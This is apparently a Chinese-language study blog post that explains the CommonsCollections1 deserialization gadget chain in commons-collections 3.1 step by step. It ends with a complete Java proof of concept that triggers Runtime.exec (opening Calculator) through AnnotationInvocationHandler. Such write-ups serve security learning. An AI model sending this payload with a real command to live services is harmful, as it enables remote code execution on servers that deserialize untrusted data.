0x01 漏洞介绍 Apache Commons Collections是一个第三方的基础类库,提供了很多强有力的数据结构类型并且实现了各种集合工具类,可以说是apache开源项目的重要组件。
CommonsCollection在java反序列化的源流中已经存在5年
今天介绍的CommonsCollections1,反序列化的第一种RCE序列化链
CommonsCollections1反序列化漏洞点仍然是commons-collections-3.1版本
0x02 实验环境 
1 2 3 4 5 6 7 <dependencies>         <dependency>             <groupId>commons-collections</groupId>             <artifactId>commons-collections</artifactId>             <version>3.1 </version>         </dependency>  </dependencies> 
 
此次实验代码:
https://github.com/godzeo/javasec\_code\_study/tree/master/src/main/java/CommonCollections 
0x03 构造链-基础知识 看完之后,大概会总结一下,需要了解这⼏个接⼝和类的知识点
首先要从Transformer类开始
Transformer它只是⼀个接⼝,只有⼀个待实现的⽅法:它的作用我感觉就是总接口吧
1 2 3 4 5 package  org.apache.commons.collections;public  interface  Transformer  {    Object transform (Object var1) ; } 
 
TransformedMap在利用链中个人理解:是一个触发器,主要是后面类中的 实现类的Transformer()方法
1 2 3 4 5 protected  TransformedMap (Map map, Transformer keyTransformer, Transformer valueTransformer)  {    super (map);     this .keyTransformer = keyTransformer;     this .valueTransformer = valueTransformer; } 
 
它是基本的数据类型Map类的做⼀个修饰,被修饰过的Map在添加新的元素时,将可以执⾏⼀个函数。 
这个函数,就是⼀个实现了Transformer接⼝的类,这个类也就是链中导向下一环的入口。 
第一个参数,要绑定修饰的map,第三个参数就是 valueTransformer就是要执行的Transformer接⼝的类。 
 
代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 public  class  ChainedTransformer  implements  Transformer , Serializable { 			....... } ......    public  ChainedTransformer (Transformer[] transformers)  {        this .iTransformers = transformers;     } public  Object transform (Object object)  {        for (int  i  =  0 ; i < this .iTransformers.length; ++i) {             object = this .iTransformers[i].transform(object);         }         return  object; } 
 
1 2 3 public  ConstantTransformer (Object constantToReturn)  {        this .iConstant = constantToReturn;     } 
 
这个类就是代码执行的关键了 
这个类的实现主要采用了反射的方法 
简单的说:可以通过这个类反射实例化调用其他类其他方法(任意的方法,也就是命令执行) 
只要参数可控,就是任意命令执行 
 
看一下代码,其实就是反射的代码,给封装到transform方法里面了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 public  InvokerTransformer (String methodName, Class[] paramTypes, Object[] args)  {        this .iMethodName = methodName;         this .iParamTypes = paramTypes;         this .iArgs = args;     } public  Object transform (Object input)  {        if  (input == null ) {             return  null ;         } else  {             try  {                 Class  cls  =  input.getClass();                 Method  method  =  cls.getMethod(this .iMethodName, this .iParamTypes);                 return  method.invoke(input, this .iArgs);             } catch  (NoSuchMethodException var5) {                 throw  new  FunctorException ("InvokerTransformer: The method '"  + this .iMethodName + "' on '"  + input.getClass() + "' does not exist" );             } catch  (IllegalAccessException var6) {                 throw  new  FunctorException ("InvokerTransformer: The method '"  + this .iMethodName + "' on '"  + input.getClass() + "' cannot be accessed" );             } catch  (InvocationTargetException var7) {                 throw  new  FunctorException ("InvokerTransformer: The method '"  + this .iMethodName + "' on '"  + input.getClass() + "' threw an exception" , var7);             }         } 
 
0x04 简单的DEMO 下面是P牛写的dome
简单的利上面的知识点,构造了一个简单的链,达到命令执行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 package  CommonCollections;import  org.apache.commons.collections.Transformer;import  org.apache.commons.collections.functors.ChainedTransformer;import  org.apache.commons.collections.functors.ConstantTransformer;import  org.apache.commons.collections.functors.InvokerTransformer;import  org.apache.commons.collections.map.TransformedMap;import  java.util.HashMap;import  java.util.Map;public  class  CommonCollections1  {    public  static  void  main (String[] args)  throws  Exception {         Transformer[] transformers = new  Transformer []{                 new  ConstantTransformer (Runtime.getRuntime()),                 new  InvokerTransformer ("exec" , new  Class []{String.class},                         new  Object []{"open -a Calculator" }),         };         Transformer  transformerChain  =  new                  ChainedTransformer (transformers);         Map  innerMap  =  new  HashMap ();         Map  outerMap  =  TransformedMap.decorate(innerMap, null , transformerChain);         outerMap.put("zeo" , "666" );     } } 
 
分析一下: 
实例化new Transformer的数组,构造中间的小链子 
小链子主要有两个ConstantTransformer,InvokerTransformer 这个两个构造好后,放入刚刚提到的ChainedTransformer类里面,他们就是连起来的里面,大概就是下面这么个情况 
命令执行造好了,还有一个触发ChainedTransformer的方法,就是TransformedMap.decorate方法 
实例化一个map对象,然后修饰绑定上transformerChain这个上面,每当有map有新元素进来的时候,就会触发上面的链 
所以map对象put(“test”, “xxxx”)一下就会触发命令执行成功弹出了计算器 
 
0x05 改写POC 
上面的漏洞虽然触发了,但是其实是手动触发,没什么用的。
 
反序列化洞,你不得找到一个反序列化的点,来触发这个洞吗?
 
所以,目标是:找到⼀个类,它在反序列化的readObject逻辑⾥有类似的写⼊操作。
 
这个类就是
1 sun.reflect.annotation.AnnotationInvocationHandler  
 
 
 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 private  void  readObject (java.io.ObjectInputStream s)     throws  java.io.IOException, ClassNotFoundException {     s.defaultReadObject();          AnnotationType  annotationType  =  null ;     try  {         annotationType = AnnotationType.getInstance(type);     } catch (IllegalArgumentException e) {                  return ;     }     Map<String, Class<?>> memberTypes = annotationType.memberTypes();     for  (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {         String  name  =  memberValue.getKey();         Class<?> memberType = memberTypes.get(name);         if  (memberType != null ) {               Object  value  =  memberValue.getValue();             if  (!(memberType.isInstance(value) ||value instanceof  ExceptionProxy)) {                 memberValue.setValue(                     new  AnnotationTypeMismatchExceptionProxy (                         value.getClass() + "["  + value + "]" ).setMember(                             annotationType.members().get(name)));             }         }     } } 
 
发现主要的触发点在 memberValue.setValue(),这个方法可以往map对象里面赋值。 
memberValue成员变量是map对象 
所以最终的流程: 
 
把之前构造的transform链包装成一个Map对象
将它作为AnnotationInvocationHandler反序列后的memberValue
在readObject反序列化的时候,触发memberValue.setValue()
然后再触发TransformedMap里的transform()
最后实现命令执行。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 Transformer[] transformers = new  Transformer []{                                                   new  ConstantTransformer (Runtime.class),                 new  InvokerTransformer ("getMethod" ,                         new  Class []{String.class, Class[].class},                         new  Object []{"getRuntime" , new  Class [0 ]}),                 new  InvokerTransformer ("invoke" ,                         new  Class []{Object.class, Object[].class},                         new  Object []{null , new  Object [0 ]}),                 new  InvokerTransformer ("exec" ,                         new  Class []{String.class},                         new  String []{"open -a Calculator" }),         }; 
 
改写就是将 Runtime.getRuntime() 换成了 Runtime.class
原因是:java.lang.Runtime 对象不能反序列化
方法 
类 
可否序列化 
 
 
Runtime.getRuntime() 
java.lang.Runtime 
no 
 
Runtime.class 
java.lang.Class 
yes 
 
重点:Java中不是所有对象都⽀持序列化,Java类 必须都实现了 java.io.Serializable 接⼝,才可以序列化,所以我们得换一个对象实现POC的改写
0x06最终POC 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 package  CommonCollections;import  org.apache.commons.collections.Transformer;import  org.apache.commons.collections.functors.ChainedTransformer;import  org.apache.commons.collections.functors.ConstantTransformer;import  org.apache.commons.collections.functors.InvokerTransformer;import  org.apache.commons.collections.map.TransformedMap;import  java.io.ByteArrayInputStream;import  java.io.ByteArrayOutputStream;import  java.io.ObjectInputStream;import  java.io.ObjectOutputStream;import  java.lang.annotation.Retention;import  java.lang.reflect.Constructor;import  java.lang.reflect.InvocationHandler;import  java.util.HashMap;import  java.util.Map;public  class  CommonCollections1poc  {    public  static  void  main (String[] args)  throws  Exception {                  Transformer[] transformers = new  Transformer []{                                                   new  ConstantTransformer (Runtime.class),                 new  InvokerTransformer ("getMethod" ,                         new  Class []{String.class, Class[].class},                         new  Object []{"getRuntime" , new  Class [0 ]}),                 new  InvokerTransformer ("invoke" ,                         new  Class []{Object.class, Object[].class},                         new  Object []{null , new  Object [0 ]}),                 new  InvokerTransformer ("exec" ,                         new  Class []{String.class},                         new  String []{"open -a Calculator" }),         };                  Transformer  transformerChain  =  new  ChainedTransformer (transformers);         Map  innerMap  =  new  HashMap ();         innerMap.put("value" , "zeo" );                  Map  outerMap  =  TransformedMap.decorate(innerMap, null , transformerChain);                  Class  clazz  =  Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" );         Constructor  construct  =  clazz.getDeclaredConstructor(Class.class, Map.class);         construct.setAccessible(true );         InvocationHandler  handler  =  (InvocationHandler) construct.newInstance(Retention.class, outerMap);                  ByteArrayOutputStream  barr  =  new  ByteArrayOutputStream ();         ObjectOutputStream  oos  =  new  ObjectOutputStream (barr);         oos.writeObject(handler);         oos.close();                  System.out.println(barr);                  ObjectInputStream  ois  =  new  ObjectInputStream (new  ByteArrayInputStream (barr.toByteArray()));         Object  o  =  (Object) ois.readObject();     } } 
 
成功执行:
0x07总结  还是挺有意义的吧,了解底层的原来,还有一些类的原理没有摸透,得好好再看看。
 反射的基础还是挺重要的,得多学习。